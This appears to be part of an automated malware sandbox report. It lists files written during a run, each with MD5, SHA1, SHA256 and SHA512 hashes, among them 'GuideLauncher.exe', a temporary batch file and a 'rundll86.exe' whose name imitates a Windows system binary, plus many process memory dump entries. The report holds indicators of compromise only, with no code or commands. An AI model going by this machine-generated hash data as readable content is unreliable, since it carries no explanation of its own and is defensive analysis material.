SHA1 826afcca30f1a53233dd00e5a03b5dd951b99875
SHA256 ef0829c2033683acd7ab1d929f1a9af765eead6be9613a51cda1af2c49e2129a
SHA512 bc60e9f86d09b9fc7eabec359af67c44e54039439f6726ecac4ef7e51a2783f0afcea9b9bb34e079d20c452ead7d69d5bb431b4e5d7fd266d4d23c4ce53c89d2

memory/3992-355-0x0000000000400000-0x0000000000864000-memory.dmp

memory/3992-356-0x00007FFD2B130000-0x00007FFD2BBF1000-memory.dmp

memory/3992-357-0x0000000002A70000-0x0000000002A80000-memory.dmp

memory/3992-358-0x0000000002A70000-0x0000000002A80000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML

MD5 7050d5ae8acfbe560fa11073fef8185d
SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b

memory/3992-370-0x000000001BB90000-0x000000001BB98000-memory.dmp

memory/3992-372-0x000000001F1D0000-0x000000001F208000-memory.dmp

memory/3992-371-0x0000000002A70000-0x0000000002A80000-memory.dmp

memory/3992-373-0x000000001F190000-0x000000001F19E000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb

MD5 7ef6a69be7cc187e88c5f4c12a7012db
SHA1 feaeed0bf3b3daa62806ed0ee165bb2db4019afe
SHA256 e085e9d51059f6c0b2454271365e41a9bddd93278814183102b377cc5de2465a
SHA512 63600409b7f91109439f130cbabe1cb7e7dc57e57d5bdc07caf63017a6c517b4a55406825170d0b3c2c3972975afa88d3a9f5ba8f7969b6a1b96a8326f2fa4ef

C:\Users\Admin\Downloads\chilledwindows.mp4

MD5 698ddcaec1edcf1245807627884edf9c
SHA1 c7fcbeaa2aadffaf807c096c51fb14c47003ac20
SHA256 cde975f975d21edb2e5faa505205ab8a2c5a565ba1ff8585d1f0e372b2a1d78b
SHA512 a2c326f0c653edcd613a3cefc8d82006e843e69afc787c870aa1b9686a20d79e5ab4e9e60b04d1970f07d88318588c1305117810e73ac620afd1fb6511394155

memory/3992-391-0x00007FFD2B130000-0x00007FFD2BBF1000-memory.dmp

memory/3992-392-0x0000000002A70000-0x0000000002A80000-memory.dmp

memory/3992-393-0x0000000002A70000-0x0000000002A80000-memory.dmp

memory/3992-394-0x0000000002A70000-0x0000000002A80000-memory.dmp

memory/3992-395-0x0000000002A70000-0x0000000002A80000-memory.dmp

memory/3992-409-0x00007FFD2B130000-0x00007FFD2BBF1000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\datareporting\glean\db\data.safe.bin

MD5 5e85d567c1f9598ea34335d60a79f144
SHA1 822c71577856cb12b22194cf5c4de6bed2f51c1b
SHA256 19349dbb2e5dd9ed611a974ecd8ff2a562e0e6503963d817be9efa72354ab085
SHA512 3f72fbd91865908fffa8e446bfb69b5dfe26dc150552cacf84a93ba3519699120e92b6622fa6e132fb4437a79839ffc34849e32c7094deb5e25f03aea3e95efa

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\datareporting\glean\pending_pings\ad116a58-5bf4-4b4b-997b-751c1292326a

MD5 8118d2c7d727a9e7b2fbf67f17269574
SHA1 12d7e97012f3bdef350623829cc5701a8933fc9a
SHA256 a6cd83b5688db81448c7277d1c9985d74997c537f246ed40f660bc2f4e1303ab
SHA512 aff6a43e0740414783a3dbfdabd5644200d4a8417bed016cbb59d892a5064bb7513da62a5d0ef976c8968b5e5c721dffd95ea790531bc30b4a44be49e786e40e

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\datareporting\glean\pending_pings\863b2436-fc54-49b7-ac8e-df29adb02589

MD5 b9be8ce688001c4a3fdbd196c2361952
SHA1 54b8c5461cb4d6624a815b83c87b0df8a0513acd
SHA256 97619877189a82d4957e9506c321c9a48439a3b61b1b612a0463dde7f0b19de3
SHA512 13ab09860ca0e187c0788bf0648bd366baf211dc177e65f62fb0bb8528a9b77cece3792b33be5245b680a869492de0f18cc7643b96fc5676f7184e502d4e397d

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\prefs.js

MD5 e31d96f9f0f68de4b8413286c35b565a
SHA1 48ba3cc5f926094340b09019c5814366825d59a0
SHA256 5e4236f130d9a24096edf1a84160d192e9a65d8bc5c9bb064e24148b19fa0f67
SHA512 9fff60bc8c5b3a5cd0b937ccaefeca6c271005ee45ccafbb74df5f624195d6fc197cee87b9f801c9e8dd923be5544407f004cd5691d9f9b8a601dcd71622a781

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\prefs.js

MD5 fb3d792980a015fc87ae178f4328363f
SHA1 4a9098baeb9a208626572cbd45cdff9836aef106
SHA256 e374356095660f01319d52782dcfb1fdfeef77a4b5dcc41dfddbd590b3042c19
SHA512 62c22e7e6fa4f2ce6502819fdbafc5fdeb2e8378c06b0a3729b14eea3ae80ef46a803a4e9fd43264be1830ff3f1275ffba0ba3ff4000474b3f7986ad48959c52

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore-backups\recovery.jsonlz4

MD5 8c79af6fe3cca8c71f889820a3641dee
SHA1 4ec6a5a8f92d142c6b84bfbabd2051874ae66af9
SHA256 ac0488262311f57bd6aa805b1283780695a1f15d5022ac33225c12c7ca3eca16
SHA512 e6fea137f20f94a5b3d4847ad9a9fe541340c75782169c3ed8078da377719b10ba487d5d6f852fdc9c277e044f0dc9e82068376b893d756423fd758aa04adcbc

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore-backups\recovery.jsonlz4

MD5 fe644be71792f48757f69f62265eb68b
SHA1 47f0a08fccdc2eaead0efb32fa5e093f5a182089
SHA256 fc3a4e4f171670666760dd36786e4f7189319b15346992faf3e418f77a68b133
SHA512 1086e8a3ac37bb8d04cc32dd5f3bba59002f837e5e843a4052e849588102301e1f3bb6cdced83719c74d795b98b7d4e9e8b10e8f10dd319c158259d73c8c951f

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\prefs-1.js

MD5 4fd6bf6aa07160d85a6f6ec66f535562
SHA1 2fed3d652771c4c4dad80bb05f8afe6eecd03c1a
SHA256 b026418b6dba483b3a4986f65e666c6b7671ccb9f14d0e05759234e3a1fbfd12
SHA512 5e776af88e048825cc0efffb2281afd5cdf11cb2f730c1d941adff88e3bb3a9dada659bdfa6a41147bc17e1f7aabf1aa790a6632fd6da5e3fb5c33dd77dc9c1b

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore-backups\recovery.jsonlz4

MD5 44bde8d1dc36f6da22b278b78ea177f6
SHA1 51cdd0262ae97030e6ca4219aa52614a6593b011
SHA256 6e42c09ed64b75bf108800dba3368a95c6d4999b66e351edb0633b03af03ba22
SHA512 05ec27dc31a33581d5db73272b5338ac339518d3bcfec26aa36947329223315c7a7d70fa75e31f103e8c7b92cca4d29d9be52dab445d82d364e55a27f13204e7

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\doomed\4997

MD5 40082a89c8b4dc975fcac27f9eddc6a3
SHA1 6698214def6093056f9554324babf751471b426b
SHA256 8a58733ade26ca2ddafa45e11b9f472816a83e7d780f72be79e533483c7b163d
SHA512 0f2da42a0d6394596290b92b2eada0e53c35db725a1d16c5f0787a426cb93dd5c61211fcca5ed02067b2379b00d04edb9f117b3b6eb9a93a749f2f84f7bfb7c3

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore-backups\recovery.jsonlz4

MD5 dcd964ed5ef1ec17aa36fb129b2cca21
SHA1 73d701f92602909b1bacc4d55550e0808ede5b98
SHA256 bc41dca4a7ecf1a071f77361a4d932860b7aa81748ac7243150eb57c85bec246
SHA512 4daaa0f2115a7a8a29d171803ce0383e2c0d33925b8eecf93766a51d68b16ccf2027ea702d9331b8ea0f8a83bcba4ab8214b4ef24af45f1c98905af29935449f

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\doomed\10751

MD5 9511d22d4c2dd40dc1de7e1a956bb679
SHA1 3b5e419aa00639843425175aed43adeb511d1738
SHA256 7684aab5ef6ebe347f84fe7c6e3eb1a50ce0aab943c23eee30eef206b73fb7f6
SHA512 d49468d62b03bba06b264647173db24e545f2e7637291ddc4c2152ec9071135b39f2dfe3bc7c12c4a7558c23903200d9e9738c8e869de3547a7dd159c6b81ca8

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\doomed\23011

MD5 761521673ebc17f3c093211078f549ea
SHA1 3fc087241ad7aef17b87e50392c3323eb255786d
SHA256 8cfc5d55df2ee59718144165fd915d925c1e24ac4a913bfb24d1474f09ea7356
SHA512 06177d56e2d9df894e30d9744495904bf5786adcac1547284b579f007c32cefbee37da0b42ccc169d35d039e0f445a18877765bb72468e3f7c14a5dbbe41f24a

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\doomed\22450

MD5 064d7575272ed31b02ba30e79de7c073
SHA1 815174bd07a598fc7fbe32e707a98aae574b5a1a
SHA256 9dfd2a6e80939615e66a71ce363b616582885072061187fee135b8f934a70673
SHA512 3726af935ffd98b0c4aa5973b9768c06145615e4a90312050f3382c10aa81e288d74610c2db877d3223491f112be6300efabcc9954702d6849a6dfcd7d31b7f8

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\doomed\13485

MD5 be4f0f14535c095aa3ffe4e721e0a9ed
SHA1 5de2e9cc2cfeb980fc6e04444100a1a6f27d0a44
SHA256 5a511c1607d2bd40971058c7e830fa9970e36a44700c5b01ef1e0520f148793b
SHA512 2f912a220c6eb60083c3e0cb11c6497f373dc7ddafab42d2d11d857251a3404b141b8893eedfe3b7e7a389446dc1267806bb634f291535b8827434f8fd7851de

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\doomed\423

MD5 b752f284721aeb67b46c1a26bccddc93
SHA1 fb7726d7ec9ae09746ec05fe1a071de3411f4529
SHA256 f9edc249675b244ae01ed80f6fda459ddd9e26ed0fe346a13180af7bc0cf12b0
SHA512 cf1671e5948a64a8214ce3e7baef78643d914940522f3cba3f06e71cd8b8b86b4f86dad2e718b83e03e60f26de1c72dd19f48903f1b58e493386551a153a1051

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\doomed\13036

MD5 afceb4480321fc8b0caf757b60e098b2
SHA1 8ed583d5c64027aa24f51b87ba9c9f5382234600
SHA256 b9f1a968a70af2bef9c848cc2afa4c359a65009b28646289e7275fdda8bbc3da
SHA512 49b7ad940c8ebef22c1d8fa1ee61b2fc38211d82d8c07a8525a9614e7bedfc64a16fb3847f08382058aaa17ddde39c86e7563f689e6eb6bb8186245ab49a3c49

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore-backups\recovery.jsonlz4

MD5 19c831f7c67642aa0a582b8c1b7af57f
SHA1 b555c415c160b88ca893435c770b354a5699b42f
SHA256 8ecafc78e35993ca4a49e50d7bfdee77e95b4d10290373c6546b89161877797c
SHA512 ab98dec20aca82e26bb34a009d48b3d2d62fbdd54ea1f3375bb681e84bf7082ed65c70496cb0758b4987843672d37bf6c937171b812a08dd47869b4be27d3d61

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore-backups\recovery.jsonlz4

MD5 5744d751e79a64879c46cd422c541b2d
SHA1 b22fce0c0d9fe45603726bb9ab3d54cc9fee027a
SHA256 9407ef8058b70402804d4fcf3b04badc84dc5dd8b2e8d8bcee42aaee16c0a73d
SHA512 5ea2d1d66955e1c676e95283be11f1b7a20cf8a1a9a3a175eb3bdd4db1d2b023f09cbbf8b83a8560ab15b21178a54171d45cdded736b0cce6bf865e763da3fa5

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\doomed\31556

MD5 b6f04bca03911282f40cc0059b8cc4ba
SHA1 8972243a8589537ad4835d7d12a81a3b186207ae
SHA256 034abc0c361e45befe9da40d53af42b6ec05f3584f94b76c8c3e591345c55e27
SHA512 9b82517a2b6e6278a47af9243068ae124f94643c8e27ced2369f317d9029a02a5896fbf9dce74a54cf3974c69a3b55d98318058c723991a57b295576f3ed21f5

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore-backups\recovery.jsonlz4

MD5 e4d495c056c89fc761a84ee3966896af
SHA1 5d0dc76aa56a66637d8301e743c2c902a528751d
SHA256 368a41d173e18a7cbfae692170d30ad36e1c8f4b2807c76352ecf90c84f2c07f
SHA512 e09dbfa7319dcceea703257826f893a4baacd609be9482e3b2e5507f305c88f1697df4d3b441b4bf874446a965620ff054462c4433c7859343a11a3c2c7e3d58

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\entries\9C2BBC7137762B4CA02A130A09A82F71C29112CE

MD5 3d1d5dc1a785ae2356141315c0a5f4d3
SHA1 84526785c003c9fe2641be7d033b6cbc3c40e465
SHA256 03573a3a89f4f2a7ec5427daa9a40a5f39d023f307340277c2c4b057fa14042b
SHA512 18d56f931d649a5ad7651a8039f9599d14f05d81bb22aa48938c1d10888386a57ed695ac4caf0560a24acc69e947c28722492a2713f8ddfc08db6726ef7e373d

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\entries\7BEC118E9178654B061CCB804B21F0586EB281AD

MD5 c040dba12ab6542d9a2927c4d475db95
SHA1 0b32438e52f8e8697958b0119f03b3e591c4943c
SHA256 ce442affae8dbb38065edaac89d497139b56ae0a961f67149bfd3c586fab1b47
SHA512 04538606578a147c9506148ba9c8b1972360d9110bfd0aaf5766dd8f6886cc90a421a04d9b30d1ca2316fbcfe3862971721853fb9a9ae51588ea98be7e388f64

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\entries\0DE9FB5C7CA5471CF31BA52F40296DC937FAB323

MD5 04dd616ca786fd38ef60e7228144ef25
SHA1 016a85023aba3960b060216ba95d9f91234ba7d1
SHA256 1c6e394cee203e866e3533b077f676c5434fec53ce7afa06dab27eac00ab4172
SHA512 71376d7d411e384eda2c6188adea28820411cde247bfc536424a6d4883c3dae62bc64455e56ce32adf786c9bcca44073903de214af6ef152b4b5f7c808db334c

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\entries\634E16DC7AF73196290DC0EEA7EC63EF6B95A520

MD5 a00453f62af17933d082202caa9de5bd
SHA1 31bc75c3614a180fdf0e8d93853cc8b7878f6a63
SHA256 3129b9fc84c4b0135fbf6d1e1412f7bbf97c4d46afe029456e3310edbd9e7909
SHA512 8c3cc60e682a15a153b67fb862514e238fe64eef6bd5dfd8134e4efb3ddc94ae474d412bfbb3e0904c928fdb8994d0d949ad58659696452fba35952baac7ddfe

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\entries\83034475DCD175EA116CE1FF243C16C26D56582D

MD5 787f8da94053e98e9c151084b355e7fd
SHA1 3db84dba0a3614128eb0ac89ce6c31db93228741
SHA256 bead55dc476f3e88a7036f0afb907cdcfff607e241fa631f5b70e19047e3c392
SHA512 823159cbe7026c88f466b7d08c5f37c0bad74b2a2156a22f0c35a450fa1b96c1254ff1351a63fdecd5779ca5bbb72ea3a542da1959c218cab82132584437ba71

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\entries\E538109CC067456137B6A021704D566DDE0968FE

MD5 291343bd4dd3ddc398336c1158532705
SHA1 d4c7495f5368eb4d5a5704eeff00c7faf1c00f34
SHA256 328063637950030a39037627c4e3eedcd108ba9aeda54dcb306a5e8534f4eb52
SHA512 189f845952e2e9b317d55346f13602299706c18511e8dca151cde680c1ad011e554e85bebc9b6058368a044b219f4bc2a0a3ff4ecf692f7d0d27cc6501241b65

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\entries\59A9CDD14397474EF7EE68BEB9E75A8A2823BA07

MD5 607555cf554dd9788adbb6143e74ab00
SHA1 09f91ba741f8950c0292d92e2d552ba3a89ba76c
SHA256 8e418752a342a73c783b69741981097c36d9fcb22024b6113e9cb0f91b42c590
SHA512 b34ff2e099e76c718525e6af7e4a395fae56f71ac39914c54b0c9f8d2a4a2a0777342b6a0d72ef282d2912ca4d57fac540aef77089566c45ce8a390c012afc9d

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\entries\175FC1F27DF5030D57F8D0FF3A5E0CD7039CB332

MD5 77a341602fca38014ae816ada02a00b4
SHA1 d2b6de7c0d479f15f98f283d10910f6357f9577f
SHA256 be3d90a20bd32a11e836f949280012440bda0ac741f4669c58e479875c11ebef
SHA512 011ac2231e414ca346ba105d4dd79746ade96cbdff3e643d75a034181141014512f265fed432fc9d50da776beb0b7e9322a7e36f509e75edbe35e287f27cb3f0

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\cache2\entries\37726912E3A0ECD0EF3A8E8B963AC6B4786CB098

MD5 e781330c1a3778d681d44f23685a7a9f
SHA1 0c476012ea6276b0da3d4db9320f940acc6c516e
SHA256 ec5732cbf23ac176d3c3c96f368a8d1f1d67c46e9d5d11a67d25f2aac2dd39e8
SHA512 27a11d681314e40b5a043461b616ec032a15077b5b3a30085bef2353d6233157e1c104f0c5f7733fdf29797c2bfac06ec68658ec919e4600e18263fd98b3df22

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore-backups\recovery.jsonlz4

MD5 c38963327052b5b2e2ab9ff55c1ebbec
SHA1 7cf95f7e37b2dfb73277d2ef746b62910c31a469
SHA256 49bfb665fb63ae0bd34bc026b7ac55cfc78a3ae7838dcc234ea35a0e040a48b9
SHA512 ba06450eb05da9f96ecddb57da0cea6803605ba3f7b9102989dc042d06aa46edcc82a1890b3bea9847b04f212a75d4d3e6acf406b565cf9dcc232b200bed181c

C:\Users\Admin\Downloads\GuideLauncher.exe

MD5 934b81faace8824b29105af62987af2a
SHA1 296d77ca6c3dac44ee95dd789f9dc1dc84ef3cef
SHA256 f95eaf4de259a6e73e86981895f45adc5660268740f34bfddf2d7b4f6a6d4b69
SHA512 a18b15f38b68b3134c55e314db47b6cee14b6910d7101384cdab53053c2a9c222d7ac70936663e74382cfe9808d6b9d9f893dc377cabbd2d953472f77d7ef246

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\D32C.tmp\D32D.bat

MD5 68b7b411b72e9dd415d3166e15afde77
SHA1 adce44aeba7c9793ed1d82c90c1659d9cca49ad5
SHA256 81dfa0d23106ef51fac23da58be3696cf84e0be15e3e6c22e0410741091ce892
SHA512 03e5071d96ca4e02c7209a19f053bb55d54ddaaa23198f888280761dc413a179dfb90908f1eb6db715f0e7a5479675f6a606f540e0fd93e0b19e1c4f7ee62cc5

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

MD5 914634831f03b7756db3cb09add84965
SHA1 0a7d3282f61c5b997f54ba2e9bab931962e8326f
SHA256 c65a6207582850522a078537a6adbd9fcc6fdd4fcf5ae1cb9b9bba1652fcf494
SHA512 14a64a030c78c3d76bb9bc4da1c215ae69813c03d7fe9a54faeb7777a790392ac29a31f36c1f3e47a034cbfaa6849a354e8eee7f88db3a1129fbf29bd03d88d0

memory/3988-1334-0x0000000000630000-0x0000000000631000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\datareporting\glean\pending_pings\9e4e56f7-1dd6-442c-8a1f-c810e5cdbe96

MD5 1093729ff3b544b557f392afd1ed0431
SHA1 b6d8497f83cf447820843c812e2d2f219afb9b11
SHA256 9babc3bfd72f8f7ead03149f8d7c550e32854f4f9fb865e01f1e23ca2f3cec67
SHA512 4577c905662cf1af1a90eddb68ad61803e858b6363a6404fbb402e5a55fa08a3a94ee0d2f9ab8731177aba5a8e61a9757a97e780188c6bf165fbe8bf56f1694f

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\datareporting\glean\pending_pings\d92738d2-3b22-4d34-8437-e9330a4225e5

MD5 68e9b2ec6663b59e59c5b853c2bcc003
SHA1 920bc132781f0d8def38cacdcdf7601d220baf3f
SHA256 4a51ea241ef5eb48d6286b4c313328799fec0d9747f02848f44b0d16ff4cf464
SHA512 490afe83c37db2e561c424d49f9ef22bf0ee87451b61e7263988df9d1159027149485bd7fb4b9696d266dfc6debb0abdb2fff433786d4f4ab1965b0ffa90f2e9

memory/4580-1358-0x00000000021D0000-0x00000000021D1000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore-backups\recovery.jsonlz4

MD5 9d4254595ffcf78583a1b1847dbacd9c
SHA1 32e6cf0003d07d8df17f540562784ac2af8d16c5
SHA256 9df31de017aa8009cf4a048fc343dd2eb2b365ff9ed47f4138992b1f3b194b45
SHA512 73fd7f193c396c4e4c0e3ec13b22a09d6ea9580f35e1787a6fd690444f468fde6aa60395b00c362762cd8a55444b064c48c901072d86c2b40cdad9144ffb28c8

memory/3988-1368-0x0000000000400000-0x000000000047D000-memory.dmp

memory/1120-1369-0x00000000020D0000-0x00000000020D1000-memory.dmp

memory/2028-1372-0x00000000020D0000-0x00000000020D1000-memory.dmp

memory/4580-1373-0x0000000000400000-0x000000000047D000-memory.dmp

memory/3988-1374-0x0000000000630000-0x0000000000631000-memory.dmp

memory/1120-1377-0x0000000000400000-0x000000000047D000-memory.dmp

memory/2588-1378-0x00000000021D0000-0x00000000021D1000-memory.dmp

memory/1120-1379-0x0000000000400000-0x000000000047D000-memory.dmp

memory/4580-1380-0x00000000021D0000-0x00000000021D1000-memory.dmp

memory/2028-1381-0x0000000000400000-0x000000000047D000-memory.dmp

memory/4580-1382-0x0000000000400000-0x000000000047D000-memory.dmp

memory/3980-1384-0x00000000020D0000-0x00000000020D1000-memory.dmp

memory/3980-1385-0x0000000000400000-0x000000000047D000-memory.dmp

memory/2588-1388-0x0000000000400000-0x000000000047D000-memory.dmp

memory/740-1389-0x0000000000730000-0x0000000000731000-memory.dmp

memory/740-1390-0x0000000000400000-0x000000000047D000-memory.dmp

memory/4344-1392-0x00000000022E0000-0x00000000022E1000-memory.dmp

memory/2436-1396-0x00000000021D0000-0x00000000021D1000-memory.dmp

memory/4344-1398-0x0000000000400000-0x000000000047D000-memory.dmp

memory/4880-1399-0x0000000000710000-0x0000000000711000-memory.dmp

memory/4192-1402-0x00000000020D0000-0x00000000020D1000-memory.dmp

memory/4344-1405-0x00000000022E0000-0x00000000022E1000-memory.dmp

memory/2436-1404-0x0000000000400000-0x000000000047D000-memory.dmp

memory/4880-1421-0x0000000000400000-0x000000000047D000-memory.dmp

memory/1872-1422-0x00000000021E0000-0x00000000021E1000-memory.dmp

memory/2436-1423-0x00000000021D0000-0x00000000021D1000-memory.dmp

memory/4192-1426-0x0000000000400000-0x000000000047D000-memory.dmp

memory/3608-1429-0x0000000000530000-0x0000000000531000-memory.dmp

memory/4880-1437-0x0000000000710000-0x0000000000711000-memory.dmp

memory/1880-1439-0x00000000020D0000-0x00000000020D1000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore-backups\recovery.jsonlz4

MD5 304bf13faf998cc91d4c2c8f223be408
SHA1 1fb7a762f871f0c9590d3b457f0899409726f358
SHA256 875d698228ea01956607113d4847dd84fd7652189578d48f66427cb3ea63a257
SHA512 972ce93acffd48caf17ce7af65e013881bea2e3822f9ce3534d35976c4407e14242edaea3c4c3ed3084ab0a144bb7e75b52b0d3e5862cf0e95e8531116bff04b

memory/4192-1451-0x00000000020D0000-0x00000000020D1000-memory.dmp

memory/1872-1450-0x0000000000400000-0x000000000047D000-memory.dmp

memory/1880-1453-0x0000000000400000-0x000000000047D000-memory.dmp

memory/3608-1457-0x0000000000400000-0x000000000047D000-memory.dmp

memory/4584-1460-0x0000000000630000-0x0000000000631000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms

MD5 1ee0c8e116153567ff12bbb8fb25c3ff
SHA1 be23da6357d35397329c653a7f6368da9a21d9a7
SHA256 0ec9d2c5bba0f61118df01ee0f1511287c27fedfc9783a8894c19c25b63cb290
SHA512 211c57b4500a55d5b9dda6689c6ac09caf90ba67b505dd723cbd780a379c7648fe4debd80e8d93ee6e9650b531c206c1ba6a24b9ff2684ea7a4d9db76242387e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms

MD5 8d178554e4a4bdda6cb0aec7d44e909c
SHA1 1e66e0748225ae4a03a71cecc17a2218730e6c13
SHA256 341b8413019de5ddc9fd28248a57654ed9f24c80e7c38d167f4095286048d4b0
SHA512 1d45c5ecae9038622f54be4a3cc224ec980e3b97b61ec1d7dbb48427713e39265b316b0311fcfa5aa997b3607103c7b0de6236219649745b873fdfc6673646ae

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\jumpListCache\ie9wT+n82d7FM2kSLXJ5IQ==.ico

MD5 6b120367fa9e50d6f91f30601ee58bb3
SHA1 9a32726e2496f78ef54f91954836b31b9a0faa50
SHA256 92c62d192e956e966fd01a0c1f721d241b9b6f256b308a2be06187a7b925f9e0
SHA512 c8d55a2c10a2ef484dedded911b8f3c2f5ecb996be6f6f425c5bd4b4f53eb620a2baccd48bac1915a81da9a792971d95ff36c3f216075d93e5fd7a462ecd784f

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\on1px6pk.default-release\jumpListCache\dVZRJOeUljGak_ZespfN_Q==.ico

MD5 42ed60b3ba4df36716ca7633794b1735
SHA1 c33aa40eed3608369e964e22c935d640e38aa768
SHA256 6574e6e55f56eca704a090bf08d0d4175a93a5353ea08f8722f7c985a39a52c8
SHA512 4247460a97a43ce20d536fdd11d534b450b075c3c28cd69fc00c48bdf7de1507edb99bef811d4c61bed10f64e4c788ee4bdc58c7c72d3bd160b9b4bd696e3013

C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

MD5 272d3e458250acd2ea839eb24b427ce5
SHA1 fae7194da5c969f2d8220ed9250aa1de7bf56609
SHA256 bbb5c6b4f85c81a323d11d34629776e99ca40e983c5ce0d0a3d540addb1c2fe3
SHA512 d05bb280775515b6eedf717f88d63ed11edbaae01321ec593ecc0725b348e9a0caacf7ebcd2c25a6e0dc79b2cdae127df5aa380b48480332a6f5cd2b32d4e55c

memory/1076-1506-0x0000000000650000-0x0000000000651000-memory.dmp

memory/5388-1508-0x0000028EF0D30000-0x0000028EF0D31000-memory.dmp

memory/5388-1509-0x0000028EF0D30000-0x0000028EF0D31000-memory.dmp

memory/5388-1510-0x0000028EF0D30000-0x0000028EF0D31000-memory.dmp

memory/5388-1515-0x0000028EF0D30000-0x0000028EF0D31000-memory.dmp

memory/5388-1516-0x0000028EF0D30000-0x0000028EF0D31000-memory.dmp

memory/5388-1517-0x0000028EF0D30000-0x0000028EF0D31000-memory.dmp

memory/5388-1519-0x0000028EF0D30000-0x0000028EF0D31000-memory.dmp

memory/5388-1520-0x0000028EF0D30000-0x0000028EF0D31000-memory.dmp

memory/5388-1518-0x0000028EF0D30000-0x0000028EF0D31000-memory.dmp

memory/5388-1514-0x0000028EF0D30000-0x0000028EF0D31000-memory.dmp

memory/4584-1529-0x0000000000400000-0x000000000047D000-memory.dmp

memory/3604-1530-0x0000000000660000-0x0000000000661000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\sessionstore-backups\recovery.jsonlz4

MD5 64a60e0c10f92cd5261290529836a06f
SHA1 3af542d993ae70ae72efa55f748a2920b63ddb52
SHA256 38753c0fc9f4e741ae4ce6b6b93b92635aa8e0aa92234cc07305fa7e979a28fb
SHA512 856e1195b0451621483ed3f526c83d14ed6624852fd554a7b24b1044b2f08e311012869ffc9bf0c23f3fcd85af3a694f267297409fd7e6553afd8a36e290dff3

memory/1076-1539-0x0000000000400000-0x000000000047D000-memory.dmp

memory/1188-1543-0x0000000000640000-0x0000000000641000-memory.dmp

memory/4964-1551-0x00000000020D0000-0x00000000020D1000-memory.dmp

memory/3604-1554-0x0000000000400000-0x000000000047D000-memory.dmp

memory/1192-1559-0x0000000000730000-0x0000000000731000-memory.dmp

memory/4640-1570-0x0000000000560000-0x0000000000561000-memory.dmp

memory/1188-1575-0x0000000000640000-0x0000000000641000-memory.dmp

memory/392-1583-0x0000000000620000-0x0000000000621000-memory.dmp

memory/5056-1597-0x00000000022C0000-0x00000000022C1000-memory.dmp

memory/5116-1604-0x0000000000630000-0x0000000000631000-memory.dmp

memory/4944-1613-0x0000000000560000-0x0000000000561000-memory.dmp

memory/5836-1617-0x00000000020B0000-0x00000000020B1000-memory.dmp

